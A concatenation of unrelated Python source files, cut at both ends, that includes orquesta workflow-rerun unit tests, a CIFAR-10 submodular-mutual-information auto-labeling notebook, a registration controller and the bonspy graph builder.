low_thresh=low_thresh, prior_noise=prior_noise) new_mat.data = numba_data new_mat.eliminate_zeros() return new_mat, s_array from src.interface_adapters.controllers.auth.auth_controller_base import AuthControllerBase from src.interface_adapters.schemas.auth.register_schema import register_schema class AuthRegisterUserController(AuthControllerBase): """ User Registration Resource """ def post(self): return self._user_service.register_user(self.get_json_with_schema(register_schema)) orquesta/tests/unit/conducting/native/test_workflow_rerun.py # Copyright 2021 The StackStorm Authors. # Copyright 2019 Extreme Networks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from orquesta import rehearsing from orquesta import statuses from orquesta.tests.unit.conducting.native import base class WorkflowConductorRerunTest(base.OrchestraWorkflowConductorTest): def test_basic(self): test_spec = { "workflow": self.get_wf_file_path("sequential"), "inputs": {"name": "Stanley"}, "expected_task_sequence": ["task1", "task2"], "mock_action_executions": [ {"task_id": "task1", "result": "Stanley"}, {"task_id": "task2", "status": statuses.FAILED}, ], "expected_term_tasks": ["task2"], "expected_workflow_status": statuses.FAILED, } rehearsal1 = rehearsing.load_test_spec(test_spec) self.assertIsInstance(rehearsal1.session, rehearsing.WorkflowTestCase) rehearsal1.assert_conducting_sequence() test_spec = { "workflow_state": rehearsal1.conductor.serialize(), "rerun_tasks": [{"task_id": "task2"}], # Since task2 failed in the test above and rerun here, there are two instances of task2. "expected_task_sequence": ["task1", "task2", "task2", "task3", "continue"], "mock_action_executions": [ {"task_id": "task2", "result": "All your base are belong to us!"}, {"task_id": "task3", "result": "Stanley, All your base are belong to us!"}, ], "expected_output": {"greeting": "Stanley, All your base are belong to us!"}, } rehearsal2 = rehearsing.load_test_spec(test_spec) self.assertIsInstance(rehearsal2.session, rehearsing.WorkflowRerunTestCase) rehearsal2.assert_conducting_sequence() def test_fail_single_branch(self): # Initial run of workflow and failure at task2. test_spec = { "workflow": self.get_wf_file_path("parallel"), "expected_task_sequence": ["task1", "task4", "task2", "task5"], # Fail task2. "mock_action_executions": [{"task_id": "task2", "status": statuses.FAILED}], "expected_term_tasks": ["task2", "task5"], "expected_workflow_status": statuses.FAILED, } rehearsal1 = rehearsing.load_test_spec(test_spec) rehearsal1.assert_conducting_sequence() # Rerun entire workflow and fail task2 again. test_spec = { "workflow_state": rehearsal1.conductor.serialize(), "expected_task_sequence": ["task1", "task4", "task2", "task5", "task2", "task6"], "mock_action_executions": [{"task_id": "task2", "status": statuses.FAILED}], "expected_term_tasks": ["task2", "task6"], "expected_workflow_status": statuses.FAILED, } rehearsal2 = rehearsing.load_test_spec(test_spec) rehearsal2.assert_conducting_sequence() # Rerun workflow from task2 only and complete the workflow. test_spec = { "workflow_state": rehearsal2.conductor.serialize(), "rerun_tasks": [{"task_id": "task2"}], "expected_task_sequence": [ "task1", "task4", "task2", "task5", "task2", "task6", "task2", "task3", ], "expected_term_tasks": ["task3", "task6"], } rehearsal3 = rehearsing.load_test_spec(test_spec) rehearsal3.assert_conducting_sequence() def test_fail_multiple_branches(self): # Initial run of workflow and failure at task2 and task5. test_spec = { "workflow": self.get_wf_file_path("parallel"), "expected_task_sequence": ["task1", "task4", "task2", "task5"], # Fail task2 and task5. "mock_action_executions": [ {"task_id": "task2", "status": statuses.FAILED}, {"task_id": "task5", "status": statuses.FAILED}, ], "expected_term_tasks": ["task2", "task5"], "expected_workflow_status": statuses.FAILED, } rehearsal1 = rehearsing.load_test_spec(test_spec) rehearsal1.assert_conducting_sequence() # Rerun and complete workflow. test_spec = { "workflow_state": rehearsal1.conductor.serialize(), "expected_task_sequence": [ "task1", "task4", "task2", "task5", "task2", "task5", "task3", "task6", ], "expected_term_tasks": ["task3", "task6"], } rehearsal2 = rehearsing.load_test_spec(test_spec) rehearsal2.assert_conducting_sequence() def test_fail_single_before_join(self): # Initial run of workflow. test_spec = { "workflow": self.get_wf_file_path("join"), # Fail task3 before join at task6. "expected_task_sequence": ["task1", "task2", "task4", "task3", "task5"], "mock_action_executions": [{"task_id": "task3", "status": statuses.FAILED}], "expected_term_tasks": ["task3", "task5"], "expected_workflow_status": statuses.FAILED, } rehearsal1 = rehearsing.load_test_spec(test_spec) rehearsal1.assert_conducting_sequence() # Rerun and complete workflow. test_spec = { "workflow_state": rehearsal1.conductor.serialize(), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task3", "task6", "task7", ], "expected_term_tasks": ["task7"], } rehearsal2 = rehearsing.load_test_spec(test_spec) rehearsal2.assert_conducting_sequence() def test_fail_multiple_before_join(self): # Initial run of workflow. test_spec = { "workflow": self.get_wf_file_path("join"), # Fail task3 before join at task6. "expected_task_sequence": ["task1", "task2", "task4", "task3", "task5"], "mock_action_executions": [ {"task_id": "task3", "status": statuses.FAILED}, {"task_id": "task5", "status": statuses.FAILED}, ], "expected_term_tasks": ["task3", "task5"], "expected_workflow_status": statuses.FAILED, } rehearsal1 = rehearsing.load_test_spec(test_spec) rehearsal1.assert_conducting_sequence() # Rerun and complete workflow. test_spec = { "workflow_state": rehearsal1.conductor.serialize(), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task3", "task5", "task6", "task7", ], "expected_term_tasks": ["task7"], } rehearsal2 = rehearsing.load_test_spec(test_spec) rehearsal2.assert_conducting_sequence() def test_fail_at_join(self): # Initial run of workflow. test_spec = { "workflow": self.get_wf_file_path("join"), # Fail task3 before join at task6. "expected_task_sequence": ["task1", "task2", "task4", "task3", "task5", "task6"], "mock_action_executions": [{"task_id": "task6", "status": statuses.FAILED}], "expected_term_tasks": ["task6"], "expected_workflow_status": statuses.FAILED, } rehearsal1 = rehearsing.load_test_spec(test_spec) rehearsal1.assert_conducting_sequence() # Rerun and complete workflow. test_spec = { "workflow_state": rehearsal1.conductor.serialize(), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task6", "task7", ], "expected_term_tasks": ["task7"], } rehearsal2 = rehearsing.load_test_spec(test_spec) rehearsal2.assert_conducting_sequence() def test_fail_cycle(self): # Initial run of workflow. test_spec = { "workflow": self.get_wf_file_path("cycle"), # Fail task3 which is part of the cycle task1->task2->task3->task1. "expected_task_sequence": [ "prep", "task1", "task2", "task3", "task1", "task2", "task3", ], "mock_action_executions": [ {"task_id": "task3", "seq_id": 6, "status": statuses.FAILED}, ], "expected_term_tasks": ["task3"], "expected_workflow_status": statuses.FAILED, } rehearsal1 = rehearsing.load_test_spec(test_spec) rehearsal1.assert_conducting_sequence() # Rerun and complete workflow. test_spec = { "workflow_state": rehearsal1.conductor.serialize(), "expected_task_sequence": [ "prep", "task1", "task2", "task3", "task1", "task2", "task3", "task3", "task1", "task2", "task3", ], "expected_term_tasks": ["task3"], } rehearsal2 = rehearsing.load_test_spec(test_spec) rehearsal2.assert_conducting_sequence() def test_fail_at_single_split(self): # Initial run of workflow. test_spec = { "workflow": self.get_wf_file_path("split"), # Fail task5 at one of the split/fork. "expected_routes": [ [], # default from start ["task2__t0"], # task1 -> task2 -> task4 ["task3__t0"], # task1 -> task3 -> task4 ], "expected_task_sequence": [ "task1__r0", "task2__r0", "task3__r0", "task4__r1", "task4__r2", "task5__r1", "task5__r2", "task6__r1", "task6__r2", ], "mock_action_executions": [ {"task_id": "task5", "seq_id": 6, "status": statuses.FAILED}, ], "expected_term_tasks": ["task5__r2", "task6__r1", "task6__r2"], "expected_workflow_status": statuses.FAILED, } rehearsal1 = rehearsing.load_test_spec(test_spec) rehearsal1.assert_conducting_sequence() # Rerun and complete workflow. test_spec = { "workflow_state": rehearsal1.conductor.serialize(), "expected_routes": [ [], # default from start ["task2__t0"], # task1 -> task2 -> task4 ["task3__t0"], # task1 -> task3 -> task4 ], "expected_task_sequence": [ "task1__r0", "task2__r0", "task3__r0", "task4__r1", "task4__r2", "task5__r1", "task5__r2", "task6__r1", "task6__r2", "task5__r2", "task7__r1", "task7__r2", ], "expected_term_tasks": ["task7__r1", "task7__r2"], } rehearsal2 = rehearsing.load_test_spec(test_spec) rehearsal2.assert_conducting_sequence() def test_fail_at_multiple_splits(self): # Initial run of workflow. test_spec = { "workflow": self.get_wf_file_path("split"), # Fail task5 at one of the split/fork and task6 in another split/fork. "expected_routes": [ [], # default from start ["task2__t0"], # task1 -> task2 -> task4 ["task3__t0"], # task1 -> task3 -> task4 ], "expected_task_sequence": [ "task1__r0", "task2__r0", "task3__r0", "task4__r1", "task4__r2", "task5__r1", "task5__r2", "task6__r1", "task6__r2", ], "mock_action_executions": [ {"task_id": "task5", "seq_id": 6, "status": statuses.FAILED}, {"task_id": "task6", "seq_id": 7, "status": statuses.FAILED}, ], "expected_term_tasks": ["task5__r2", "task6__r1", "task6__r2"], "expected_workflow_status": statuses.FAILED, } rehearsal1 = rehearsing.load_test_spec(test_spec) rehearsal1.assert_conducting_sequence() # Rerun and complete workflow. test_spec = { "workflow_state": rehearsal1.conductor.serialize(), "expected_routes": [ [], # default from start ["task2__t0"], # task1 -> task2 -> task4 ["task3__t0"], # task1 -> task3 -> task4 ], "expected_task_sequence": [ "task1__r0", "task2__r0", "task3__r0", "task4__r1", "task4__r2", "task5__r1", "task5__r2", "task6__r1", "task6__r2", "task5__r2", "task6__r1", "task7__r1", "task7__r2", ], "expected_term_tasks": ["task7__r1", "task7__r2"], } rehearsal2 = rehearsing.load_test_spec(test_spec) rehearsal2.assert_conducting_sequence() # -*- coding: utf-8 -*- """trust_auto_labeling_demo_cifar10.ipynb Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/drive/1Jv2lLGlmqvRAJhyfWZnq78wLfyD2fznT # Targeted Selection Demo For Auto Labeling ### Imports """ import time import random import datetime import copy import numpy as np from tabulate import tabulate import os import csv import json import subprocess import sys import PIL.Image as Image import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision import torchvision.models as models from matplotlib import pyplot as plt from trust.utils.models.resnet import ResNet18 from trust.utils.custom_dataset import load_dataset_custom from torch.utils.data import Subset from torch.autograd import Variable import tqdm import argparse from math import floor from sklearn.metrics.pairwise import cosine_similarity, pairwise_distances from trust.strategies.smi import SMI from trust.strategies.partition_strategy import PartitionStrategy from trust.strategies.random_sampling import RandomSampling parser = argparse.ArgumentParser(description='Device ID and Class Count') parser.add_argument('--device_id', type=int, default=0, help='CUDA Device ID') parser.add_argument('--per_cls_cnt', type=int, default=25, help='Number of samples per class') args = parser.parse_args() seed = 42 torch.manual_seed(seed) np.random.seed(seed) random.seed(seed) from trust.utils.utils import * from trust.utils.viz import tsne_smi """### Helper functions""" def model_eval_loss(data_loader, model, criterion): total_loss = 0 with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(data_loader): inputs, targets = inputs.to(device), targets.to(device, non_blocking=True) outputs = model(inputs) loss = criterion(outputs, targets) total_loss += loss.item() return total_loss def init_weights(m): if isinstance(m, nn.Conv2d): torch.nn.init.xavier_uniform_(m.weight) elif isinstance(m, nn.Linear): torch.nn.init.xavier_uniform_(m.weight) m.bias.data.fill_(0.01) def weight_reset(m): if isinstance(m, nn.Conv2d) or isinstance(m, nn.Linear): m.reset_parameters() def create_model(name, num_cls, device, embedding_type): if name == 'ResNet18': if embedding_type == "gradients": model = ResNet18(num_cls) else: model = models.resnet18() elif name == 'MnistNet': model = models.MnistNet() elif name == 'ResNet164': model = models.ResNet164(num_cls) model.apply(init_weights) model = model.to(device) return model def loss_function(): criterion = nn.CrossEntropyLoss() criterion_nored = nn.CrossEntropyLoss(reduction='none') return criterion, criterion_nored def optimizer_with_scheduler(model, num_epochs, learning_rate, m=0.9, wd=5e-4): optimizer = optim.SGD(model.parameters(), lr=learning_rate, momentum=m, weight_decay=wd) scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=num_epochs) return optimizer, scheduler def optimizer_without_scheduler(model, learning_rate, m=0.9, wd=5e-4): # optimizer = optim.Adam(model.parameters(),weight_decay=wd) optimizer = optim.SGD(model.parameters(), lr=learning_rate, momentum=m, weight_decay=wd) return optimizer def generate_cumulative_timing(mod_timing): tmp = 0 mod_cum_timing = np.zeros(len(mod_timing)) for i in range(len(mod_timing)): tmp += mod_timing[i] mod_cum_timing[i] = tmp return mod_cum_timing / 3600 def displayTable(val_err_log, tst_err_log): col1 = [str(i) for i in range(10)] val_acc = [str(100 - i) for i in val_err_log] tst_acc = [str(100 - i) for i in tst_err_log] table = [col1, val_acc, tst_acc] table = map(list, zip(*table)) print(tabulate(table, headers=['Class', 'Val Accuracy', 'Test Accuracy'], tablefmt='orgtbl')) def find_err_per_class(test_set, val_set, final_val_classifications, final_val_predictions, final_tst_classifications, final_tst_predictions, saveDir, prefix): val_err_idx = list(np.where(np.array(final_val_classifications) == False)[0]) tst_err_idx = list(np.where(np.array(final_tst_classifications) == False)[0]) val_class_err_idxs = [] tst_err_log = [] val_err_log = [] for i in range(num_cls): if (feature == "classimb"): tst_class_idxs = list( torch.where(torch.Tensor(test_set.targets) == i)[0].cpu().numpy()) val_class_idxs = list(torch.where(torch.Tensor(val_set.targets.float()) == i)[0].cpu().numpy()) # err classifications per class val_err_class_idx = set(val_err_idx).intersection(set(val_class_idxs)) tst_err_class_idx = set(tst_err_idx).intersection(set(tst_class_idxs)) if (len(val_class_idxs) > 0): val_error_perc = round((len(val_err_class_idx) / len(val_class_idxs)) * 100, 2) else: val_error_perc = 0 tst_error_perc = round((len(tst_err_class_idx) / len(tst_class_idxs)) * 100, 2) # print("val, test error% for class ", i, " : ", val_error_perc, tst_error_perc) val_class_err_idxs.append(val_err_class_idx) tst_err_log.append(tst_error_perc) val_err_log.append(val_error_perc) displayTable(val_err_log, tst_err_log) tst_err_log.append(sum(tst_err_log) / len(tst_err_log)) val_err_log.append(sum(val_err_log) / len(val_err_log)) return tst_err_log, val_err_log, val_class_err_idxs def aug_train_subset(train_set, lake_set, true_lake_set, subset, lake_subset_idxs, budget, augrandom=False): all_lake_idx = list(range(len(lake_set))) if (not (len(subset) == budget) and augrandom): print("Budget not filled, adding ", str(int(budget) - len(subset)), " randomly.") remain_budget = int(budget) - len(subset) remain_lake_idx = list(set(all_lake_idx) - set(subset)) random_subset_idx = list(np.random.choice(np.array(remain_lake_idx), size=int(remain_budget), replace=False)) subset += random_subset_idx lake_ss = SubsetWithTargets(true_lake_set, subset, torch.Tensor(true_lake_set.targets.float())[subset]) remain_lake_idx = list(set(all_lake_idx) - set(lake_subset_idxs)) remain_lake_set = SubsetWithTargets(lake_set, remain_lake_idx, torch.Tensor(lake_set.targets.float())[remain_lake_idx]) remain_true_lake_set = SubsetWithTargets(true_lake_set, remain_lake_idx, torch.Tensor(true_lake_set.targets.float())[remain_lake_idx]) # print(len(lake_ss),len(remain_lake_set),len(lake_set)) aug_train_set = torch.utils.data.ConcatDataset([train_set, lake_ss]) return aug_train_set, remain_lake_set, remain_true_lake_set, lake_ss def getQuerySet(val_set, val_class_err_idxs, imb_cls_idx, miscls): miscls_idx = [] if (miscls): for i in range(len(val_class_err_idxs)): if i in imb_cls_idx: miscls_idx += val_class_err_idxs[i] print("Total misclassified examples from imbalanced classes (Size of query set): ", len(miscls_idx)) else: for i in imb_cls_idx: imb_cls_samples = list(torch.where(torch.Tensor(val_set.targets.float()) == i)[0].cpu().numpy()) miscls_idx += imb_cls_samples print("Total samples from imbalanced classes as targets (Size of query set): ", len(miscls_idx)) return Subset(val_set, miscls_idx), val_set.targets[miscls_idx] def getPerClassSel(lake_set, subset, num_cls): perClsSel = [] subset_cls = torch.Tensor(lake_set.targets.float())[subset] for i in range(num_cls): cls_subset_idx = list(torch.where(subset_cls == i)[0].cpu().numpy()) perClsSel.append(len(cls_subset_idx)) return perClsSel def print_final_results(res_dict, sel_cls_idx): print("Gain in overall test accuracy: ", res_dict['test_acc'][1] - res_dict['test_acc'][0]) bf_sel_cls_acc = np.array(res_dict['all_class_acc'][0])[sel_cls_idx] af_sel_cls_acc = np.array(res_dict['all_class_acc'][1])[sel_cls_idx] print("Gain in targeted test accuracy: ", np.mean(af_sel_cls_acc - bf_sel_cls_acc)) """# Data, Model & Experimental Settings The CIFAR-10 dataset contains 60,000 32x32 color images in 10 different classes.The 10 different classes represent airplanes, cars, birds, cats, deer, dogs, frogs, horses, ships, and trucks. There are 6,000 images of each class. The training set contains 50,000 images and test set contains 10,000 images. We will use custom_dataset() function in Trust to simulated a class imbalance scenario using the split_cfg dictionary given below. We then use a ResNet18 model as our task DNN and train it on the simulated imbalanced version of the CIFAR-10 dataset. Next we perform targeted selection using various SMI functions and compare their gain in overall accuracy as well as on the imbalanced classes. """ #cls_cnts = [25, 50, 100, 250, 500, 750, 1000] #budgets = [500, 1000, 1500, 2000, 2500, 3000, 3500, 4000, 4500, 5000] budgets = [5000] #for per_cls_cnt in cls_cnts: for budget in budgets: feature = "classimb" device_id = args.device_id run = "test_run" datadir = 'data/' data_name = 'cifar10' model_name = 'ResNet18' learning_rate = 0.01 computeClassErrorLog = True device = "cuda:" + str(device_id) if torch.cuda.is_available() else "cpu" miscls = False # Set to True if only the misclassified examples from the imbalanced classes is to be used embedding_type = "gradients" # Type of the representation to use (gradients/features) num_cls = 10 #budget = 5000 per_cls_cnt = args.per_cls_cnt visualize_tsne = False split_cfg = {"sel_cls_idx": [0], # Class of the query set "per_class_train": {0: per_cls_cnt, 1: per_cls_cnt, 2: per_cls_cnt, 3: per_cls_cnt, 4: per_cls_cnt, 5: per_cls_cnt, 6: per_cls_cnt, 7: per_cls_cnt, 8: per_cls_cnt, 9: per_cls_cnt}, "per_class_val": {0: 20, 1: 0, 2: 0, 3: 0, 4: 0, 5: 0, 6: 0, 7: 0, 8: 0, 9: 0}, "per_class_lake": {0: 5000, 1: 5000, 2: 5000, 3: 5000, 4: 5000, 5: 5000, 6: 5000, 7: 5000, 8: 5000, 9: 5000}, "per_class_test": {0: 100, 1: 100, 2: 100, 3: 100, 4: 100, 5: 100, 6: 100, 7: 100, 8: 100, 9: 100}} initModelPath = "./" + data_name + "_" + model_name + "_" + str(learning_rate) + "_" + str(split_cfg["sel_cls_idx"]) def weak_labeling(dataset_name, datadir, feature, model_name, budget, split_cfg, num_cls, learning_rate, run, device, computeErrorLog, strategy="SIM", sf=""): resultsPath = "./" + data_name + "_" + model_name + "_" + str(per_cls_cnt) + "_" + str(budget) + "_" + strategy + "_" + sf + ".json" # load the dataset in the class imbalance setting train_set, val_set, test_set, lake_set, sel_cls_idx, num_cls = load_dataset_custom(datadir, dataset_name, feature, split_cfg, False, False) val_sets = [] for i in range(num_cls): tmp_indices = torch.where(train_set.targets == i)[0] tmp_set = SubsetWithTargets(train_set.dataset.dataset, [train_set.dataset.indices[x] for x in tmp_indices], train_set.targets[tmp_indices]) val_sets.append(tmp_set) print("Indices of randomly selected classes for imbalance: ", sel_cls_idx) # Set batch size for train, validation and test datasets N = len(train_set) trn_batch_size = 20 val_batch_size = 10 tst_batch_size = 100 # Create dataloaders trainloader = torch.utils.data.DataLoader(train_set, batch_size=trn_batch_size, shuffle=True, pin_memory=True) valloaders = [] for i in range(num_cls): valloader = torch.utils.data.DataLoader(val_sets[i], batch_size=val_batch_size, shuffle=False, pin_memory=True) valloaders.append(valloader) tstloader = torch.utils.data.DataLoader(test_set, batch_size=tst_batch_size, shuffle=False, pin_memory=True) lakeloader = torch.utils.data.DataLoader(lake_set, batch_size=tst_batch_size, shuffle=False, pin_memory=True) true_lake_set = copy.deepcopy(lake_set) # Budget for subset selection bud = budget # Variables to store accuracies num_rounds = 1 # The first round is for training the initial model and the second round is to train the final model full_trn_acc = 0 # Model Creation model = create_model(model_name, num_cls, device, embedding_type) # Loss Functions criterion, criterion_nored = loss_function() # Getting the optimizer and scheduler optimizer = optimizer_without_scheduler(model, learning_rate) strategy_args = {'batch_size': 20, 'device': device, 'embedding_type': 'gradients', 'keep_embedding': True, 'wrapped_strategy_class': SMI, 'num_partitions': 10, 'loss': torch.nn.functional.cross_entropy} unlabeled_lake_set = LabeledToUnlabeledDataset(lake_set) if (strategy == "SIM"): strategy_args['smi_function'] = sf weak_labelers = [] for i in range(num_cls): strategy_sel = PartitionStrategy(train_set, unlabeled_lake_set, model, num_cls, strategy_args, query_dataset=val_sets[i]) weak_labelers.append(strategy_sel) if (strategy == "random"): weak_labelers = [] strategy_sel = RandomSampling(train_set, unlabeled_lake_set, model, num_cls, strategy_args) weak_labelers.append(strategy_sel) ###Model Pre-training### start_time = time.time() num_ep = 1 while (full_trn_acc < 0.99 and num_ep < 300): model.train() for batch_idx, (inputs, targets) in enumerate(trainloader): inputs, targets = inputs.to(device), targets.to(device, non_blocking=True) # Variables in Pytorch are differentiable. inputs, target = Variable(inputs), Variable(inputs) # This will zero out the gradients for this batch. optimizer.zero_grad() outputs = model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() # scheduler.step() full_trn_loss = 0 full_trn_correct = 0 full_trn_total = 0 model.eval() with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(trainloader): # Compute Train accuracy inputs, targets = inputs.to(device), targets.to(device, non_blocking=True) outputs = model(inputs) loss = criterion(outputs, targets) full_trn_loss += loss.item() _, predicted = outputs.max(1) full_trn_total += targets.size(0) full_trn_correct += predicted.eq(targets).sum().item() full_trn_acc = full_trn_correct / full_trn_total print("Selection Epoch ", i, " Training epoch [", num_ep, "]", " Training Acc: ", full_trn_acc, end="\r") num_ep += 1 timing = time.time() - start_time unlabeled_lake_set = LabeledToUnlabeledDataset(lake_set) subsets = [] cnt = 0 for strategy_sel in weak_labelers: print("Class: " + str(cnt) + "\n") strategy_sel.update_data(train_set, unlabeled_lake_set) strategy_sel.update_model(model) subset, gain = strategy_sel.select(budget) subset = [x for _, x in sorted(zip(gain, subset), key=lambda pair: pair[0], reverse=True)] subsets.append(subset) cnt += 1 # ####SIM#### # if (strategy == "SIM" or strategy == "SF"): # if (sf.endswith("mi")): # if (feature == "classimb"): # # make a dataloader for the misclassifications - only for experiments with targets # miscls_set, miscls_set_targets = getQuerySet(val_set, val_class_err_idxs, sel_cls_idx, miscls) # strategy_sel.update_queries(miscls_set) print("#### Selection Complete, Now re-training with augmented subset ####") results_dict = dict() for j in range(10): budget_dict = dict() for i in range(num_cls): tmp_subset = subsets[i][0:500*(j+1)] tmp_targets = true_lake_set.targets[tmp_subset] tmp_metrics = (len(torch.where(tmp_targets == i)[0])/len(tmp_targets)) budget_dict[i] = tmp_metrics results_dict[500 * (j+1)] = budget_dict with open(resultsPath, 'w') as json_file: json.dump(results_dict, json_file) """# Submodular Mutual Information (SMI) We let $V$ denote the ground-set of $n$ data points $V = \{1, 2, 3,...,n \}$ and a set function $f: 2^{V} xrightarrow{} \Re$. Given a set of items $A, B \subseteq V$, the submodular mutual information (MI)[1,3] is defined as $I_f(A; B) = f(A) + f(B) - f(A \cup B)$. Intuitively, this measures the similarity between $B$ and $A$ and we refer to $B$ as the query set. In [2], they extend MI to handle the case when the target can come from an auxiliary set $V^{\prime}$ different from the ground set $V$. For targeted data subset selection, $V$ is the source set of data instances and the target is a subset of data points (validation set or the specific set of examples of interest). Let $\Omega = V \cup V^{\prime}$. We define a set function $f: 2^{\Omega} \rightarrow \Re$. Although $f$ is defined on $\Omega$, the discrete optimization problem will only be defined on subsets $A \subseteq V$. To find an optimal subset given a query set $Q \subseteq V^{\prime}$, we can define $g_{Q}(A) = I_f(A; Q)$, $A \subseteq V$ and maximize the same. # FL1MI In the first variant of FL, we set the unlabeled dataset to be $V$. The SMI instantiation of FL1MI can be defined as: \begin{align} I_f(A;Q)=\sum_{i \in V}\min(\max_{j \in A}s_{ij}, \eta \max_{j \in Q}sq_{ij}) \end{align} The first term in the min(.) of FL1MI models diversity, and the second term models query relevance. An increase in the value of $\eta$ causes the resulting summary to become more relevant to the query. """ weak_labeling(data_name, datadir, feature, model_name, budget, split_cfg, num_cls, learning_rate, run, device, computeClassErrorLog, "SIM", 'fl1mi') """# FL2MI In the V2 variant, we set $D$ to be $V \cup Q$. The SMI instantiation of FL2MI can be defined as: \begin{align} \label{eq:FL2MI} I_f(A;Q)=\sum_{i \in Q} \max_{j \in A} sq_{ij} + \eta\sum_{i \in A} \max_{j \in Q} sq_{ij} \end{align} FL2MI is very intuitive for query relevance as well. It measures the representation of data points that are the most relevant to the query set and vice versa. It can also be thought of as a bidirectional representation score. """ weak_labeling(data_name, datadir, feature, model_name, budget, split_cfg, num_cls, learning_rate, run, device, computeClassErrorLog, "SIM", 'fl2mi') """# GCMI The SMI instantiation of graph-cut (GCMI) is defined as: \begin{align} I_f(A;Q)=2\sum_{i \in A} \sum_{j \in Q} sq_{ij} \end{align} Since maximizing GCMI maximizes the joint pairwise sum with the query set, it will lead to a subset similar to the query set $Q$. """ weak_labeling(data_name, datadir, feature, model_name, budget, split_cfg, num_cls, learning_rate, run, device, computeClassErrorLog, "SIM", 'gcmi') """# LOGDETMI The SMI instantiation of LogDetMI can be defined as: \begin{align} I_f(A;Q)=\log\det(S_{A}) -\log\det(S_{A} - \eta^2 S_{A,Q}S_{Q}^{-1}S_{A,Q}^T) \end{align} $S_{A, B}$ denotes the cross-similarity matrix between the items in sets $A$ and $B$. The similarity matrix in constructed in such a way that the cross-similarity between $A$ and $Q$ is multiplied by $\eta$ to control the trade-off between query-relevance and diversity. """ weak_labeling(data_name, datadir, feature, model_name, budget, split_cfg, num_cls, learning_rate, run, device, computeClassErrorLog, "SIM", 'logdetmi') """# Random""" # weak_labeling(data_name, # datadir, # feature, # model_name, # budget, # split_cfg, # num_cls, # learning_rate, # run, # device, # computeClassErrorLog, # "random", 'random') """# References [1] , , , and . Submodular combinatorialinformation measures with applications in machine learning.arXiv preprint arXiv:2006.15412,2020 [2] , , , , . PRISM: A Unified Framework of Parameterized Submodular Information Measures for Targeted Data Subset Selection and Summarization. arXiv preprint arXiv:2103.00128. 2021 Feb 27. [3] and . The online submodular cover problem. InACM-SIAM Symposiumon Discrete Algorithms, 2020 """ from .database import * from .dataset.data_blending import DataSetBlender from .dataset.fields import ( DataSetFilterException, DataType, Field, ) from .dataset.intervals import ( NumericInterval, day, hour, month, quarter, week, year, ) from .dataset.joins import Join from .dataset.klass import DataSet from .dataset.modifiers import ( OmitFromRollup, Rollup, ) from .dataset.operations import ( CumMean, CumProd, CumSum, Operation, RollingMean, Share, ) from .dataset.references import ( DayOverDay, MonthOverMonth, QuarterOverQuarter, WeekOverWeek, YearOverYear, ) from .exceptions import DataSetException from .widgets import * __version__ = "5.4.6" bonspy/graph_builder.py from abc import ABCMeta, abstractmethod from collections import OrderedDict, defaultdict from csv import DictReader import gzip from glob import glob import networkx as nx class GraphBuilder: def __init__(self, input_, features, lazy_formatters=(), types_dict={}, functions=()): """ :param input_: str or list of str, path to gzipped csv input :param features: iterable, ordered features to build the tree with :param lazy_formatters: tuple of tuples, e.g. (('os', str), (user_day, int)) or dict :param types_dict: dict, types to be used for split, defaults to "assignment" :param functions: iterable, functions that return node_dict and take node_dict and row as arguments """ self.input_ = glob(input_) if isinstance(input_, str) else input_ self.features = features self.types_iterable = self._get_types_iterable(types_dict) self.lazy_formatters = self._get_lazy_formatter(lazy_formatters) self.functions = functions def _get_types_iterable(self, types_dict): return tuple(types_dict.get(f, 'assignment') for f in self.features) @staticmethod def _get_lazy_formatter(formatters): if not formatters: return defaultdict(lambda: (lambda x: x)) else: lazy_formatters = defaultdict(lambda: str) lazy_formatters.update(formatters) return lazy_formatters def get_data(self): for file in self.input_: data = DictReader(gzip.open(file, 'rt', encoding='utf-8')) yield from data def get_graph(self, graph=None): graph, node_index = self._seed_graph(graph) data = self.get_data() for row in data: graph, node_index = self._add_branch(graph, row, node_index) return graph @staticmethod def _seed_graph(graph): if not graph: graph = nx.DiGraph() root = 0 graph.add_node(root, state=OrderedDict()) node_index = 1 + max((n for n in graph.nodes_iter())) return graph, node_index def _add_branch(self, graph, row, node_index): parent = 0 graph.node[parent] = self._apply_functions(graph.node[parent], row) for feature in self.features: feature_value = row[feature] child = self._get_child(graph, parent, feature, feature_value) if child is None: childless = self._check_if_childless(graph, parent) if childless: default_leaf = node_index state = self._get_state(graph, parent) graph.add_node(default_leaf, state=state, is_default_leaf=True) graph.add_edge(parent, default_leaf) node_index += 1 child = node_index state = self._get_state(graph, parent, new_feature=(feature, feature_value)) graph.add_node(child, state=state) graph = self._connect_node_to_parent(graph, parent, child, feature, feature_value) graph = self._update_parent_split(graph, parent, feature) node_index += 1 graph.node[child] = self._apply_functions(graph.node[child], row) parent = child else: graph.node[child]['is_leaf'] = True return graph, node_index @staticmethod def _check_if_childless(graph, parent): edges = graph.edges_iter(parent) try: _ = next(edges) # NOQA return False except StopIteration: return True def _get_state(self, graph, parent, new_feature=None): state = graph.node[parent]['state'].copy() new_state = self._add_new_feature(state, new_feature) if new_feature else state return new_state def _get_child(self, graph, parent, feature, feature_value): edges = graph.edges_iter(parent, data=True) children = ((child, data) for _, child, data in edges if data) # filter out default leaves formatter = self._get_formatter(self.lazy_formatters[feature]) try: child = next(child for child, data in children if data.get('value') == formatter(feature_value)) except StopIteration: child = None return child def _connect_node_to_parent(self, graph, parent, new_node, feature, feature_value): feature_index = self.features.index(feature) type_ = self.types_iterable[feature_index] formatter = self._get_formatter(self.lazy_formatters[feature]) graph.add_edge(parent, new_node, type=type_, value=formatter(feature_value)) return graph @staticmethod def _update_parent_split(graph, parent, feature): graph.node[parent]['split'] = feature return graph def _apply_functions(self, node_dict, row): for function_ in self.functions: node_dict = function_(node_dict, row) return node_dict def _add_new_feature(self, state, new_feature): feature, value = new_feature formatter = self._get_formatter(self.lazy_formatters[feature]) 